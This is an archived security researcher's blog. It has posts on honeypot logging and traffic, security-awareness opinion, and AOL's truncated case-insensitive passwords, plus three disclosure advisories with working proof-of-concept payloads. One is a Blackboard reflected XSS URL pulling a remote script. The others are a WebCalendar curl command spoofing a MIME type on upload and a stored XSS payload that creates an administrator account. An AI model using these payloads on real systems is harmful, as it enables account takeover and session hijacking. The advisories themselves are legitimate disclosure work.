mattjezorek

Centralized Dionaea collection

Thu, 08 Dec 2011 03:44:59 +0000

After playing with Dionaea for several weeks and starting to find some interesting information I have found one problem that I need to solve. Centralized Logging and Data collection.

With many sensors in different locations I have no real way to gather information in a manner that makes sense to me. I have tried various methods like downloading all the data and converting it into one database for reporting. This results in lots of bandwidth and general issues because each time you are processing the whole database. The other issue with this is that id’s have to be toyed with because they are incremented locally and then used to as foreign keys. This is just a mess.

I then went and did a logmysql ihandler for Dionaea and overall it seems to work. However I am not fond of granting access to a database from a honeypot and this should be a web service call. During this work however I found out how ihandlers work in Dionaea and I am announcing the beginning of the honeycollect ihandler that will be used to centralize logging in real time.

This project will take some work but I am looking at centralizing all data from Dionaea so that you never have to look at your sensors again. After Dionaea is done I want to look at other honeypots and start really putting all this data together.

I expect some people will be interested and some people will find the whole venture worthless but leave your feedback on the idea.

2 days of honeypot traffic stats.

Tue, 08 Nov 2011 14:17:53 +0000

Recently I have decided to put one of my honeypots back online and within about 8 seconds it was hit with a MSSQL probe. I am hoping that this honeypot will bring me much joy and happy days as I learn more about the attacks, the mechanisms of spreading and what they are spreading. During this time I am also looking forward to analyzing malware samples that seem interesting from this honeypot.

Over the past 2 days I have noticed a very interesting trend in attack times so I wanted to look at the attacks per hour and determine what is going on.

Also with this honeypot I see a vast majority of the attacks on one port. This is the MSSQL port (1433) and all are attempting to login with the user “sa” and credentials of "". More proof that this is still working is the sheer number of attacks.

Another interesting item is the remote hosts that have attacked over the past 2 days. Apparently some scanners have not figured out that once they hit an IP address they should not pound on it so much.

Last I want to point out is that the malware being delivered is not that unique per attacker and I have noticed that several hosts are delivering the same malware as others.

I hope to be able to publish more information from this honeypot as it seems to be active.

Proving malware is different than proving attacker

Mon, 24 Oct 2011 15:04:16 +0000

Brian Krebs recently wrote an article titled Who Else Was Hit by the RSA Attackers? and while it was an interesting read it has a fundamental flaw.

Based only on the article alone we can say that the networks in question have/had malware on the network talking to command and control networks. These networks may have been used in the RSA attack. However one thing that is not known is the tenancy of the command and control networks.

I do not have access to the same data that Krebs does and he has reported he is not at liberty to give the data out so at this point I can only assert that Proving malware is not the same as proving the attacker.

I would be interested in seeing the data and how it was determined that the attacker is the same. I am not concerned about who actually provided the data.

The users are stupid

Thu, 13 Oct 2011 14:11:18 +0000

I continue to hear the words “The users are stupid” in the security community and it honestly makes me mad. Not in the sense of the community is wrong but that the community is not looking to find the source of the problem. I see security professionals shifting blame of failings to the user and it is time for that to stop. It is time to ask why. Why are the users stupid? What do they not understand? Why are we not teaching them what they need to know? Why are they not learning? Why is it the users fault?

You say the users are stupid because they keep getting owned over and over? Maybe you say the users are stupid because they do not understand the simple things. Both of these may be true but do the users actually have the tools to mitigate the threats that face them? I understand you have a user awareness program. Everyone is in compliance because they all completed the CBT style training, right? Did they actually absorb anything from that training? Did you take honest feedback from the training? How are you measuring your using the right format for the training? I would guess that most people can not answer those questions with certainty and I can understand that.

I am sure people will say that the users do not want to learn, they are stuck in their ways, productivity is in the way of security. Great, so that means we must be doing something wrong. I believe that users will learn and absorb anything that is presented in a manner that they can relate too. This does not mean technical training for your finance users, it means tailoring your program for the finance users around financial issues. Do not show a guy in a suit in your training to a bunch of software engineers who do not even own a pair of slacks. If I was to put someone in a suit in front of most security engineers and professionals you would instantly think vendor and not care what is to be said. However put someone in front of you in jeans and a black shirt and I may get your attention.

Why is any of this the users fault? Do we just feel the need to blame others since we can not be bothered to come up with a solution that works? I know we have not tried everything, it’s not possible. It is time for us to get out of our echo chamber and expand into areas that we are not necessarily comfortable with and talk to people outside the industry. We need to start asking people who know more then we do about things we are not professionals of. Teachers can help teach us how to reach our audience more efficiently; Psychologist to make sure that we are sending the right signals; Users to make sure that we are not being condescending to them in our training; Executives to make sure that our training fits the business. There is so much that we can do that we are not. It is time to hack our own problems if we want to advance the actual security of our networks.

It is time to place the blame in the correct spot, the blame belongs to us. We can do better and we need to do better. It’s time to start hacking the users.

Are we out of information to talk about?

Wed, 10 Aug 2011 23:34:09 +0000

Today I have finally had enough, I know I am only one person and new to the security industry so none of this matters but this is getting stupid. I will now be dropping any podcast that has Mr. Evans on it because now I see it has a PR play for the podcast itself, as well as furthering the agenda of Mr. Evans as he can put it down in his media list of places he has talked or been interviewed. As of today I will no longer be listening to Network Security Podcast or ISDPodcast not that it means anything to the creators of these podcasts. So podcasters why do you give him airtime and top billing on a podcast? Does he bring you more listeners? Does he bring value to your listeners? Does it de-legitimize him? Who is next to play this clown?

I personally think that podcasters are now playing GDE because it brings listeners because people enjoy a train wreck, and maybe this is the case. This also might be your goal of the interviews. Maybe for that episode you get more listeners but if they only found your podcast because of GDE then you probably don’t want them as a listener, unless you are just seeking advertising revenues. Why not try to bring listeners to your podcast by talking about interesting topics and things related to the listeners you want to bring in? Is the security industry out of interesting topics? Do we no longer have enough smarts to come up with a good podcast without this garbage? If so stop broadcasting.

What value does that interview bring to your listeners or do you only care about yourself? Maybe it brings some comments to the podcast or whatever but what about the people who are looking for value out of your podcast. He brings no value it’s the same interview every time and the same thing is said over and over. It is almost a commercial. In fact why not record him once and let every podcast who wants to play it play it. I just do not understand the value it is bringing to your listeners. Can you clue me in?

I have been told things like “giving him rope and he is hanging”. Great guess what the information security echo chamber is really damn small and you guys think it is so damn big. This guy has never been legitimate in the echo chamber we live in and giving him airplay does nothing but help him get business from people outside our echo chamber who don’t know the difference between good and bad security practitioners. Congrats you go on his media wall of legitimate places he has been interviewed so that he can use your name to get more money. Start thinking outside of the echo chamber. In fact this echo chamber is a large part of the problem with security in general, we talk and talk and talk to each other but do not get the message out to people who do not live in the chamber. This needs to change, but you are not hurting him you are helping him. Stop please.

So maybe I am off my rocker but I would love it if someone would explain what putting him on a podcast actually accomplishes for information security? Explain how it benefits the community. Just explain, or you can just ignore me because it does not matter.

Security Researchers need to Research

Tue, 28 Jun 2011 15:44:50 +0000

I normally do not spend much time trying to dispute random crap on the Internet because I would be too busy and I need to remember to eat, drink and sleep but this one annoyed me slightly. I am annoyed about the lack of research that was done, the right person being blamed for a 4-year-old bug, and strong credit taking of this iTunes/AOL password issue

First lets quickly discuss the problem with the AOL Passwords they are case insensitive, truncated to 8 characters and required to be at least 6. There is more detailed information on The Washington Post by @briankrebs . This is a problem and makes weak passwords no mater how complex one wants to make it (or thinks that it is). AOL is acting as an identity service to iTunes, HuffPo, Meebo, anyone who uses the AOL OpenAuth or OpenID services and any instant messaging client. This both compounds the issue and spreads the risk around to everyone.

In the advisory that was sent to Apple it mentioned:

In iTunes on a computer or in the App Store on iPhone, a user can enter a partial AOL password, or a password with incorrect case, or extra characters at the end of a password, or a combination of any or all of these, and Apple will accept the incorrect password, allowing purchases to be made and billing information to be changed.

This statement is just wrong and the understanding of how an identity provider works by the researcher seems wrong. Apple is not accepting the wrong password Apple is not even processing the password, it is sending the username/password combination to the identify provider for verification. The identify provider will say yes that is valid or no it is not. It probably passes more information and hopefully with some semblance of security. I have not (and will not) looked at the way this identify provider works specifically, what protocol it is using, or what extra data is passed back and forth.

Also this advisory seems more like a ‘OMG, I found a bug’ moment versus actual research because with a little research you can find out that all of the AOL services I tested were vulnerable to this problem up to and including the account management pieces. I was able to login using invalid passwords and change my password, I was able to change all of my profile information, I was able to access my mail and send instant messages all using an invalid password. None of this was done using iTunes it was all done using AOL’s own interfaces and services. I then went and verified that the identity portion was also compromised because I was able to login to Huffington Post (new AOL acquisition) and Meebo and other instant messaging clients with invalid passwords. A simple Google search will come up with results from various sources as far back as 2007 that describe the same problems.

Then the disclosure makes it look like Apple fixed the issue:

“The vulnerability took the whole 6 month disclosure time limit to be announced as Apple were at first unresponsive to the problem and then when they did respond were initially unable to reproduce it. The discoverer of the bug, Joshua Long, contacted them and helped them find the problem and they fixed it almost immediately.“

Now with a little common sense we know that Apple did not fix it however it reads that Apple fixed it because of the awesome work of the researcher. With a little research the reporter probably could have went so far as to say that AOL is probably using the Unix crypt() function for passwords as this problem is not new, Amazon.com had the same problem in the past (however fixed much faster) .

The other part that annoys me is the strong credit statements on the advisory and anything else published about it:

Any credit for the vulnerability should be given to Joshua Long aka the JoshMeister.

With a little research done you will find that this is not a new vulnerability only a different victim of AOL not fixing this problem 4 years ago and the person who exposed the real vulnerability 4 years ago should get the credit, and AOL should be raked over the coals for not caring about its users enough to fix this problem 4 years ago. I agree researchers should be credited for findings but I do not believe that someone should be able to take credit for a already disclosed bug.

Finally what I think should be happening here is that upSploit should focus on the fact that a 4-year-old bug got fixed via the service they provide, and not that it was an iTunes bug. While researchers should do more research and verify that they are submitting the right bug to the right group. As someone who ingests submitted vulnerability reports from other sources I really like it when I can actually do something, in this case Apple had to wait for AOL to fix the actual problem. I also believe that while you should get your credit for what you find, make sure you actually found it.

Blackboard version 8.0.494.0 XSS

Tue, 28 Jun 2011 15:29:53 +0000

Release Date: 01-09-11
Application: Blackboard
Versions: 8.0.494.0
Severity: Medium
Discovered By: Matt Jezorek
Vendor Status: Fixed

Product Description:

Blackboard develops and licenses software applications and related services to over 2200 education institutions in more than 60 countries. These institutions use Blackboard software to manage e-learning, transaction processing and e-commerce, and online communities. ¹

Vulnerability Details:

Cross Site Scripting is able to occur in the User Directory Search, because the fields are not terminated and the search string is not validated we can close the search text field and insert whatever HTML or JavaScript we choose.

Proof of Concept

The User Directory Search is vulnerable to XSS


http://localhost/bin/common/search.pl?action=RESULTS&context=USERDIR&type=SEARCH&operation=VIEW&keyword=abcd&keywordraw=%22abcd%22/%3E%3Cscript+src%3Dhttp://mattjezorek.com/js/alert.js%3E%3C/script%3E%3Ca+href%3D%22test%22%3Ewhat%3C/a&x=26&y=15&by=user_id

Versions Affected:

Only 8.0.494.0 was tested. Other versions should be tested.

Version Patched:

Learn Release 8.0 Service Pack 7 Hotfix 2

Vendor Response:

The following timeline details the vendors response to the reported issue:

03/05/2011 – Vendor Notified
03/07/2011 – Vendor Responded with incident AS-157506
03/09/2011 – Vendor Responded with confirmation of the issue and asked no disclosure till end of May
05/25/2011 – Vendor released patch.

References

¹ http://www.blackboard.com

² http://en.wikipedia.org/wiki/Cross-site_scripting

AOL Fuzzy Passwords, Close but not Exact

Wed, 11 May 2011 13:22:22 +0000

When I was logging in the other day to AIM I noticed that the caps lock key was on (Apparently I was using my cruise control) just to see what would happen and because I am too lazy to hit the backspace key I hit enter. Much to my surprise my password was accepted and I was logged in. This did not seem right so I tried again. When it worked I was able to determine that AOL passwords are case insensitive.

At this point I wanted to get a little more information about the password procedures at AOL so I ran over to AOL logged in and started to look at the change password feature. It requires your password to be between 6 and 16 characters. Now I would like to see the 6 moved to at least and 8 but I get it. It also made no requirement of special characters so I wont complain about that. I changed my password to ABCDEFG12345678 (changed since then) and started to see what I could login with.

ABCDEFG1 was the required password oh except I used abcdefg1. So it appears that even if you did put in 16 characters for your password it was made 8 which means that AOL is using crypt() for its password hashing.

Just a little looking around seems to indicate that back as far as 2007 some of this was disclosed and AOL has not fixed it yet. They are still using the same methods for password hashing because I have changed my password numerous times over the past several days.

What does this mean to you? Depends on if you use AIM or not and if you care about that account. It is safe to say that every password at AOL is between 6 to 8 characters, case insensitive and probably with no special characters. Brute force would probably not be that hard. I can not even recommend you change your password because no mater how complex you make your password it will be reduced to a small quivering pile of weakness.

Web Calendar Upload Vulnerability

Sun, 17 Apr 2011 15:34:49 +0000

Release Date: 04/17/2011
Application: WebCalendar
Versions: 1.2.3 and below
Severity: Medium
Discovered By: Matt Jezorek
Vendor Status: Unresponsive

Product Description:

WebCalendar is a PHP-based calendar application that can be configured as a single-user calendar, a multi-user calendar for groups of users, or as an event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS SQL Server, or ODBC is required. ¹

Vulnerability Overview:

By allowing uploads to meeting requests in WebCalendar¹ we can trick a user into viewing a “Text Document” with the mime type of our choosing. By tricking the upload process we can upload a text file that will be served by doc.php as an text/html file allowing us to run JavaScript, applets or other code in the context of the logged in user. This will allow session hijacking and other attacks.

Vulnerability Details:

By allowing uploads to meeting requests in WebCalendar¹ we can trick a user into viewing a “Text Document” with the mime type of our choosing. By tricking the upload process we can upload a text file that will be served by doc.php as an text/html file allowing us to run JavaScript, applets or other code in the context of the user viewing the attachment. This will allow session hijacking and other attacks.

This may be by design and is seen to me as a flaw, this is not blocked and one can just upload an HTML document without having to trick the system. This is due to the way PHP accepts the mime type that is provided by the browser on uploads.

Proof of Concept

This is the way to upload a file specifying your own mime type.


curl -H "Cookie: webcalendar_session=cdd3e4c0e81116cd39aceb78c98b7be6a7bacb8e2a2bbdabcd2b5cf92c194c090dfdda0b9ba77" -F "FileName=test.txt;type=text/html'" "http://localhost:8888/docadd.php?id=5&type=A"

By creating a special html file that can send authentication information away or if the user that is attacked is an administrator a admin user can be created and a full compromise can happen.

Versions Affected:

Only 1.2.3 was tested but one can assume that any version prior to this is also at risk.

Timeline:

10/18/2010 – Reported via upSploit²
10/18/2010 – upSploit submitted to vendor
11/18/2010 – upSploit submitted to vendor
12/18/2010 – upSploit submitted to vendor
02/11/2011 – upSploit submitted to vendor
03/18/2011 – upSploit submitted to vendor
03/25/2011 – upSploit submitted to vendor
04/01/2011 – upSploit submitted to vendor
04/08/2011 – upSploit submitted to vendor
04/15/2011 – upSploit submitted to vendor
04/16/2011 – upSploit submitted to vendor

Recommendation

Turn off the ability to upload attachments.

References

¹ http://www.k5n.us/webcalendar.php

² http://www.upsploit.com/

Multiple XSS Vulnerabilities in WebCalendar

Mon, 04 Apr 2011 02:17:07 +0000

Release Date: 04/04/2011
Application: WebCalendar
Versions: 1.2.3 and below
Severity: Medium
Discovered By: Matt Jezorek
Vendor Status: Non-responsive

Product Description:

Vulnerability Overview:

Multiple Cross-site Scripting² vulnerabilities in calendar events in WebCalendar 1.2.3 that allows attackers to inject arbitrary JavaScript or HTML via the Brief Description, Full Description, and location on edit_entry.php.

Vulnerability Details:

Multiple Cross-site Scripting vulnerabilities in calendar events in WebCalendar 1.2.3 that allows attackers to inject arbitrary JavaScript or HTML via the Brief Description, Full Description, and location on edit_entry.php. These must be posted by someone who has rights to the calendar.

Using this exploit we are able to submit a request to an administrator of the calendar system and without any interaction by the administrator other than seeing the calendar event create an administrative user of our choosing.

Proof of Concept

Invite an administrative user to a calendar event with this as the description


<IMG SRC=a onerror="new Ajax.Request('edit_user_handler.php', {  
method: 'post',  
parameters:'formtype=edituser&add=1&user=mattadminxss&ufirstname=matt&ulastname=xss&uemail=xss@xss.com&upassword1=xssed&upassword2=xssed&uis_admin=Y&uenabled=Y',onComplete:function(rt){
    // notify 
    alert('xss\'ed');
  }
}
);
" />

Versions Affected:

Only 1.2.3 was tested but one can assume that any version prior to this is also at risk.

Vendor Response:

The following timeline details the vendors response to the reported issue:

10/05/2010 – Reported via upSploit³
10/06/2010 – upSploit reported to vendor
11/05/2010 – upSploit attempted contact with vendor
12/05/2010 – upSploit attempted contact with vendor
02/11/2011 – upSploit attempted contact with vendor
02/11/2011 – upSploit attempted contact with vendor
03/18/2011 – upSploit attempted contact with vendor
03/18/2011 – upSploit attempted contact with vendor
03/19/2011 – upSploit attempted contact with vendor
03/26/2011 – upSploit attempted contact with vendor
04/02/2011 – upSploit attempted contact with vendor
04/03/2011 – upSploit attempted contact with vendor
04/04/2011 – Released on upSploit and blog.

Recommendation

I would discontinue the use of this application until a fix can be released.

References

¹ http://www.k5n.us/webcalendar.php

² http://en.wikipedia.org/wiki/Cross-site_scripting

³ http://www.upsploit.com/